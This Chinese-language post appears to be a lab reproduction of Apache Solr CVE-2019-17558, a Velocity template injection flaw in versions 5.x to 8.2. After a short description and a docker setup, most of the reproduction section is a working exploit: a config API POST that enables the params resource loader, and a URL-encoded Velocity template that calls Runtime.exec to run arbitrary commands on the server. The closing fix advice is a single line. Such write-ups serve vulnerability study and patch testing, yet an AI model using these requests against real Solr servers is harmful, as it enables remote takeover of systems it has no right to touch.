一、Apache Solr介绍
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引,也可以通过http get操作提出查找请求,并得到XML格式的返回结果。
二、漏洞描述
Solr中存在VelocityResponseWriter组件,攻击者可以构造特定请求修改相关配置,使VelocityResponseWriter组件允许加载指定模板,进而导致Velocity模版注入远程命令执行漏洞,攻击者利用该漏洞可以直接获取到服务器权限。
漏洞产生原因:
在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。
参考:(https://www.cnblogs.com/yuzly/p/11782608.html)
三、漏洞影响版本
Apache Solr 5.x - 8.2.0,存在config API版本
四、漏洞复现
靶机IP :192.168.200.130
1、启动环境,这里直接使用docker搭建
路径:solr/CVE-2019-17558
启动一个Apache Solr 8.2.0服务器:

列出相应容器 
登录solr服务器
2、利用默认的demo
默认情况下`params.resource.loader.enabled`配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:- http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
复制代码
3、开启 params.resource.loader.enabled
其中API路径包含刚才获取的core名称
 - POST /solr/demo/config HTTP/1.1
- Host: solr:8983
- Content-Type: application/json
- Content-Length: 259
- {
- "update-queryresponsewriter": {
- "startup": "lazy",
- "name": "velocity",
- "class": "solr.VelocityResponseWriter",
- "template.base.dir": "",
- "solr.resource.loader.enabled": "true",
- "params.resource.loader.enabled": "true"
- }
- }
复制代码 4、查看demo的配置

可以看到,`params.resource.loader.enabled` 已经开启
5、注入Velocity模板执行任意命令
- http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
复制代码
在exec函数里可以执行任意代码:

五、修复建议
建议升级Appache Salc到最新版
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |